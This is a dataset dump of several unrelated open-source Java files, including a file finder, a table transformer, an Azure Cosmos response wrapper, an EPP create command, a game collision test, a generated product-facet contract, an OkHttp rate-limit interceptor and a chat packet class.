import java.util.ArrayList;
import java.util.List;
/**
* Created by QAmatic Team on 4/8/17.
*/
public class FileFinder {
private static final MintleafLogger logger = MintleafLogger.getLogger(FileFinder.class);
private final PathMatcher matcher;
private final String path;
private final boolean regExMatch;
public FileFinder(String path) {
final String[] pathSplits = path.split("/");
regExMatch = path.contains("regex:");
final String wildCardName = regExMatch ? pathSplits[pathSplits.length - 1] : "glob:" + pathSplits[pathSplits.length - 1];
this.path = path.replaceAll("\\Q" + pathSplits[pathSplits.length - 1] + "\\E", "");
matcher = FileSystems.getDefault()
.getPathMatcher(wildCardName);
}
public List<String> list() {
List<String> files = new ArrayList<>();
try {
Files.walkFileTree(Paths.get(this.path), new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
Path name = regExMatch ? file.toAbsolutePath() : file.getFileName();
if (name != null && matcher.matches(name)) {
files.add(file.toAbsolutePath().toString());
}
return FileVisitResult.CONTINUE;
}
});
} catch (IOException e) {
logger.error(e);
}
return files;
}
}
| mit |
bayerls/statistics2cubes | src/main/java/de/bayerl/statistics/transformer/DeleteRowByType.java | 1418 | package de.bayerl.statistics.transformer;
import com.google.common.collect.Lists;
import de.bayerl.statistics.model.Row;
import de.bayerl.statistics.model.Table;
import de.bayerl.statistics.model.TableSliceType;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* Created by sebastianbayerl on 08/04/15.
*/
public class DeleteRowByType extends Transformation {
private String type;
public DeleteRowByType(@NameAnnotation(name = "type") String type) {
this.type = type;
}
@Override
public String getName() {
return "deleteRowByType_" + type;
}
@Override
protected Table transformStep(Table table) {
List<Integer> rows = new ArrayList<>();
// find rows that will be deleted
for (int i = 0; i < table.getRows().size(); i++) {
Row row = table.getRows().get(i);
if (row.getCells().get(0).getRole().equals(type)) {
rows.add(i);
}
}
// prepare row list for deletion: sort descending
List<Integer> copy = Lists.newArrayList(rows);
Collections.sort(copy);
Collections.reverse(copy);
// delete rows
for (Integer i : copy) {
DeleteRowCol deleteRowCol = new DeleteRowCol(TableSliceType.ROW, i);
table = deleteRowCol.transformStep(table);
}
return table;
}
}
| mit |
navalev/azure-sdk-for-java | sdk/cosmos/microsoft-azure-cosmos/src/main/java/com/azure/data/cosmos/sync/CosmosSyncItemResponse.java | 1245 | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.data.cosmos.sync;
import com.azure.data.cosmos.CosmosItemProperties;
import com.azure.data.cosmos.CosmosItemResponse;
import com.azure.data.cosmos.PartitionKey;
public class CosmosSyncItemResponse extends CosmosSyncResponse {
private final CosmosItemResponse responseWrapper;
private final CosmosSyncItem item;
CosmosSyncItemResponse(CosmosItemResponse response, PartitionKey partitionKey, CosmosSyncContainer container) {
super(response);
this.responseWrapper = response;
if (responseWrapper.item() != null) {
this.item = new CosmosSyncItem(responseWrapper.item().id(), partitionKey, container, responseWrapper.item());
} else {
// Delete will have null container client in response
this.item = null;
}
}
/**
* Gets the itemSettings
*
* @return the itemSettings
*/
public CosmosItemProperties properties() {
return responseWrapper.properties();
}
/**
* Gets the CosmosItem
*
* @return the cosmos item
*/
public CosmosSyncItem item() {
return item;
}
} | mit |
neustar/registrar_epp04toolkit | src/java/src/com/neulevel/epp/core/command/EppCommandCreate.java | 4196 | /*******************************************************************************
* The MIT License (MIT)
*
* Copyright (c) 2015 Neustar Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*******************************************************************************/
package com.neulevel.epp.core.command;
import org.w3c.dom.*;
import com.neulevel.epp.core.*;
/**
* This <code>EppCommandCreate</code> class implements EPP Command Create
* entity.
*
* @author Ning Zhang ning.zhang@neustar.com
* @version $Revision: 1.1 $ $Date: 2005/12/06 20:11:35 $
*/
public class EppCommandCreate extends EppCommand
{
private EppObject object;
/**
* Creates an <code>EppCommandCreate</code> object
*
* @param object the <code>EppObject</code> to be processed
*/
public EppCommandCreate( EppObject object )
{
this.object = object;
}
/**
* Creates an <code>EppCommandCreate</code> object
*
* @param object the <code>EppObject</code> to be processed
* @param xid the client transaction id associated with the
* operation
*/
public EppCommandCreate( EppObject object, String xid )
{
this.object = object;
this.clTRID = xid;
}
/**
* Gets the object to be processed
*/
public EppObject getObject()
{
return this.object;
}
/**
* Sets the object to be processed
*/
public void setObject( EppObject object )
{
this.object = object;
}
/**
* Converts the <code>EppCommandCreate</code> object into an XML element
*
* @param doc the XML <code>Document</code> object
* @param tag the tag/element name for the <code>EppCommandCreate</code>
* object
*
* @return an <code>Element</code> object
*/
public Element toXML( Document doc, String tag )
{
return toXMLCommon(doc, tag, object);
}
/**
* Converts an XML element into an <code>EppCommandCreate</code> object.
* The caller of this method must make sure that the root node is of an
* EPP Command Create entity.
*
* @param root root node for an <code>EppCommandCreate</code> object
* in XML format
*
* @return an <code>EppCommandCreate</code> object, or null if the node
* is invalid
*/
public static EppEntity fromXML( Node root )
{
String command = root.getLocalName();
NodeList list = root.getChildNodes();
EppObject object = null;
for( int i = 0; i < list.getLength(); i++ )
{
Node node = list.item(i);
String prefix = node.getPrefix();
String name = node.getLocalName();
if( (prefix == null) || (name == null) )
{
continue;
}
if( name.equals(command) )
{
if( prefix.equals("contact") )
{
object = (EppObject) EppContact.fromXML(node);
}
else if( prefix.equals("domain") )
{
object = (EppObject) EppDomain.fromXML(node);
}
else if( prefix.equals("host") )
{
object = (EppObject) EppHost.fromXML(node);
}
else if( prefix.equals("svcsub") )
{
object = (EppSvcsub) EppSvcsub.fromXML(node);
}
if( object != null )
{
return new EppCommandCreate(object);
}
}
}
return null;
}
public String toString()
{
return toString("create");
}
}
| mit |
MATheCoder/QwikGDX | testGdxGame/src/com/LogicalPrototype/gdxTestGame/screens/CollisionTest.java | 794 | package src.com.LogicalPrototype.gdxTestGame.screens;
import java.util.Random;
import src.com.LogicalPrototype.gdxTestGame.MyGdxGame;
import src.com.LogicalPrototype.gdxTestGame.entities.Player;
import src.com.LogicalPrototype.gdxTestGame.entities.Wall;
import com.LogicalPrototype.QwikGdx.QwikScreen;
import com.badlogic.gdx.Gdx;
public class CollisionTest extends QwikScreen {
Random random;
public CollisionTest(MyGdxGame game) {
super(game);
addEntity(new Player(100, 100));
random = new Random();
generateRandom();
for (int i = 0; i < 2500; i++) {
generateRandom();
}
}
private void generateRandom() {
int randX = random.nextInt(Gdx.graphics.getWidth());
int randY = random.nextInt(Gdx.graphics.getHeight());
addEntity(new Wall(randX, randY));
}
}
| mit |
carsonreinke/mozu-java-sdk | src/main/java/com/mozu/api/contracts/productadmin/FacetSet.java | 1354 | /**
* This code was auto-generated by a tool.
*
* Changes to this file may cause incorrect behavior and will be lost if
* the code is regenerated.
*/
package com.mozu.api.contracts.productadmin;
import java.util.List;
import java.io.Serializable;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import org.joda.time.DateTime;
import com.mozu.api.contracts.productadmin.FacetSource;
import com.mozu.api.contracts.productadmin.Facet;
/**
* The list of category, price, and attribute facets defined or available for definition for the category.
*/
@JsonIgnoreProperties(ignoreUnknown = true)
public class FacetSet implements Serializable
{
// Default Serial Version UID
private static final long serialVersionUID = 1L;
/**
* The list of subcategories and attributes that have not been defined as facets for the category.
*/
protected List<FacetSource> available;
public List<FacetSource> getAvailable() {
return this.available;
}
public void setAvailable(List<FacetSource> available) {
this.available = available;
}
/**
* The list of category, price, and attribute facets defined for the category.
*/
protected List<Facet> configured;
public List<Facet> getConfigured() {
return this.configured;
}
public void setConfigured(List<Facet> configured) {
this.configured = configured;
}
}
| mit |
dancarpenter21/lol-api-rxjava | src/main/java/org/dc/riot/lol/rx/service/interfaces/TicketedInterceptor.java | 1171 | package org.dc.riot.lol.rx.service.interfaces;
import java.io.IOException;
import org.dc.riot.lol.rx.service.TicketBucket;
import org.dc.riot.lol.rx.service.TicketBucket.Ticket;
import com.squareup.okhttp.Interceptor;
import com.squareup.okhttp.Request;
import com.squareup.okhttp.Response;
/**
* {@link Intereptor} for all OkHttpClients used to retrieve data
* from the LoL APIs. This should always be added to the beginning
* of the intercepters list. Note: according to Riot's documentation
* not all services need to be rate throttled. Only attach this
* intercepter to instances that really need it.
*
* @author Dc
* @since 1.0.0
*/
class TicketedInterceptor implements Interceptor {
private TicketBucket bucket;
TicketedInterceptor(TicketBucket bucket) {
this.bucket = bucket;
}
@Override
public Response intercept(Chain chain) throws IOException {
try {
Ticket[] tickets = bucket.take();
Response response = null;
try {
Request r = chain.request();
response = chain.proceed(r);
} finally {
bucket.put(tickets);
}
return response;
} catch (InterruptedException e) {
throw new IOException(e);
}
}
}
| mit |
AlexMog/MMO-Rulemasters-World | server/shared/alexmog/rulemastersworld/packets/tchat/TchatPrivmsgPacket.java | 130 | package alexmog.rulemastersworld.packets.tchat;
public class TchatPrivmsgPacket {
public String username, msg, destinator;
}
| mit |
Subsets and Splits